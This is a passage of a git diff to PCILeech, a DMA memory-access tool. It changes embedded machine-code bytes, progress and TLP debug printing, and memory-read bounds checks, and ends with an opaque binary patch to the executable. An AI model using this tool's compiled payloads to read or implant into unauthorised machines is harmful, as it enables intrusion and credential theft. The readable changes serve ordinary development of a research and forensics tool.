0x24, 0x20, 0xe8, 0xc9, 0xfa, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x78, 0x48, + 0x24, 0x20, 0xe8, 0x55, 0xfa, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x78, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0x0f, 0xfe, 0xff, 0xff, 0xeb, 0xe4, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xaf, 0xfe, 0xff, 0xff, 0xeb, 0xcc, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, - 0x8d, 0x54, 0x24, 0x20, 0xe8, 0x2f, 0xfa, 0xff, 0xff, 0xeb, 0xb4, 0x48, + 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xbb, 0xf9, 0xff, 0xff, 0xeb, 0xb4, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x31, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x48, 0x83, - 0xc2, 0x18, 0xe8, 0xef, 0xf7, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0xb8, 0x05, + 0xc2, 0x18, 0xe8, 0x17, 0xf7, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0xb8, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x1b, 0xc9, 0x48, 0x23, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00, 0x00, 0xeb, 0x0c, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x80, 0x00, 0x00, diff --git a/pcileech/statistics.c b/pcileech/statistics.c index 39e2039..b03695b 100644 --- a/pcileech/statistics.c +++ b/pcileech/statistics.c @@ -75,27 +75,46 @@ VOID _PageStatShowUpdate(_Inout_ PPAGE_STATISTICS ps) if(ps->i.fMemMap) { _PageStatPrintMemMap(ps); } - printf( - " Current Action: %s \n" \ - " Access Mode: %s \n" \ - " Progress: %llu / %llu (%llu%%) \n" \ - " Speed: %llu %s \n" \ - " Address: 0x%016llX \n" \ - " Pages read: %llu / %llu (%llu%%) \n" \ - " Pages failed: %llu (%llu%%) \n", - ps->szAction, - ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", - (ps->cPageSuccess + ps->cPageFail) / 256, - ps->cPageTotal / 256, - qwPercentTotal, - (isMBs ? qwSpeed >> 10 : qwSpeed), - (isMBs ? "MB/s" : "kB/s"), - ps->qwAddr, - ps->cPageSuccess, - ps->cPageTotal, - qwPercentSuccess, - ps->cPageFail, - qwPercentFail); + if(ps->cPageTotal < 0x0000000fffffffff) { + printf( + " Current Action: %s \n" \ + " Access Mode: %s \n" \ + " Progress: %llu / %llu (%llu%%) \n" \ + " Speed: %llu %s \n" \ + " Address: 0x%016llX \n" \ + " Pages read: %llu / %llu (%llu%%) \n" \ + " Pages failed: %llu (%llu%%) \n", + ps->szAction, + ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", + (ps->cPageSuccess + ps->cPageFail) / 256, + ps->cPageTotal / 256, + qwPercentTotal, + (isMBs ? qwSpeed >> 10 : qwSpeed), + (isMBs ? "MB/s" : "kB/s"), + ps->qwAddr, + ps->cPageSuccess, + ps->cPageTotal, + qwPercentSuccess, + ps->cPageFail, + qwPercentFail); + } else { + printf( + " Current Action: %s \n" \ + " Access Mode: %s \n" \ + " Progress: %llu / (unknown) \n" \ + " Speed: %llu %s \n" \ + " Address: 0x%016llX \n" \ + " Pages read: %llu \n" \ + " Pages failed: %llu \n", + ps->szAction, + ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", + (ps->cPageSuccess + ps->cPageFail) / 256, + (isMBs ? qwSpeed >> 10 : qwSpeed), + (isMBs ? "MB/s" : "kB/s"), + ps->qwAddr, + ps->cPageSuccess, + ps->cPageFail); + } ps->i.fIsFirstPrintCompleted = TRUE; } diff --git a/pcileech/tlp.c b/pcileech/tlp.c index 7e7cbf9..ead02d8 100644 --- a/pcileech/tlp.c +++ b/pcileech/tlp.c @@ -19,16 +19,48 @@ VOID TLP_Print(_In_ PBYTE pbTlp, _In_ DWORD cbTlp, _In_ BOOL isTx) for(i = 0; i < cbTlp; i += 4) { buf[i >> 2] = _byteswap_ulong(*(PDWORD)(pbTlp + i)); } - printf("%s_TLP: TypeFmt: %02x Length: %03x(%04x)", (isTx ? "TX" : "RX"), hdr->TypeFmt, hdr->Length, (hdr->Length << 2)); if(hdr->TypeFmt == TLP_CplD) { hdrC = (PTLP_HDR_CplD)pb; - printf("\nCplD: CplID: %04x ReqID: %04x Status: %01x BC: %03x Tag: %02x LowAddr: %02x", hdrC->RequesterID, hdrC->CompleterID, hdrC->Status, hdrC->ByteCount, hdrC->Tag, hdrC->LowerAddress); + printf( + "\n%s: CplD: ReqID: %04x CplID: %04x Status: %01x BC: %03x Tag: %02x LowAddr: %02x", + (isTx ? "TX" : "RX"), + hdrC->RequesterID, + hdrC->CompleterID, + hdrC->Status, + hdrC->ByteCount, + hdrC->Tag, + hdrC->LowerAddress + ); } else if(hdr->TypeFmt == TLP_MRd32 || hdr->TypeFmt == TLP_MWr32) { hdrM32 = (PTLP_HDR_MRdWr32)pb; - printf("\n%s: ReqID: %04x BE1: %01x BEL: %01x Tag: %02x Addr: %08x", (hdr->TypeFmt == TLP_MRd32) ? "MRd32" : "MWr32", hdrM32->RequesterID, hdrM32->FirstBE, hdrM32->LastBE, hdrM32->Tag, hdrM32->Address); + printf( + "\n%s: %s: ReqID: %04x BE_FL: %01x%01x Tag: %02x Addr: %08x", + (isTx ? "TX" : "RX"), + (hdr->TypeFmt == TLP_MRd32) ? "MRd32" : "MWr32", + hdrM32->RequesterID, + hdrM32->FirstBE, + hdrM32->LastBE, + hdrM32->Tag, + hdrM32->Address); } else if(hdr->TypeFmt == TLP_MRd64 || hdr->TypeFmt == TLP_MWr64) { hdrM64 = (PTLP_HDR_MRdWr64)pb; - printf("\n%s: ReqID: %04x BE1: %01x BEL: %01x Tag: %02x Addr: %016llx", (hdr->TypeFmt == TLP_MRd64) ? "MRd64" : "MWr64", hdrM64->RequesterID, hdrM64->FirstBE, hdrM64->LastBE, hdrM64->Tag, ((QWORD)hdrM64->AddressHigh << 32) + hdrM64->AddressLow); + printf( + "\n%s: %s: ReqID: %04x BE_FL: %01x%01x Tag: %02x Addr: %016llx", + (isTx ? "TX" : "RX"), + (hdr->TypeFmt == TLP_MRd64) ? "MRd64" : "MWr64", + hdrM64->RequesterID, + hdrM64->FirstBE, + hdrM64->LastBE, + hdrM64->Tag, + ((QWORD)hdrM64->AddressHigh << 32) + hdrM64->AddressLow + ); + } else { + printf( + "\n%s: TLP??: TypeFmt: %02x dwLen: %03x", + (isTx ? "TX" : "RX"), + hdr->TypeFmt, + hdr->Length + ); } printf("\n"); Util_PrintHexAscii(pbTlp, cbTlp); @@ -59,11 +91,6 @@ BOOL TLP_CallbackMRd(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMRd, _In_ PBYTE pb, _I return TRUE; } } - } else { - QWORD qwDebug[16]; - memset(qwDebug, 0xcc, 16 * 8); - memcpy(qwDebug, pb, min(cb, 16 * 8)); - DWORD DEBUGX = 0x01; } return FALSE; } diff --git a/pcileech/util.c b/pcileech/util.c index 63162ff..bf80b9b 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -609,9 +609,11 @@ VOID Util_Read1M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer1M, _In_ QWO BOOL Util_Read16M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat) { BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE }; - QWORD i, o, qwOffset; + QWORD i, o, qwOffset, cbRead; + if(qwBaseAddress >= ctx->cfg->qwAddrMax) { return FALSE; } if(!ctx->phKMD) { // Native DMA - return 0 != DeviceReadDMAEx(ctx, qwBaseAddress, pbBuffer16M, 0x01000000, pPageStat); + cbRead = min(0x01000000, ctx->cfg->qwAddrMax - qwBaseAddress); + return 0 != DeviceReadDMAEx(ctx, qwBaseAddress, pbBuffer16M, (DWORD)cbRead, pPageStat, 0); } // try read 16M if((qwBaseAddress + 0x01000000 <= ctx->cfg->qwAddrMax) && DeviceReadMEM(ctx, qwBaseAddress, pbBuffer16M, 0x01000000, 0)) { diff --git a/pcileech_files/pcileech b/pcileech_files/pcileech index 09e76202e24f249e335de07e012e042abc9e5f86..45a9c102aa8bd507e3e5df026ef699529b1b9b62 100644 GIT binary patch delta 42909 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 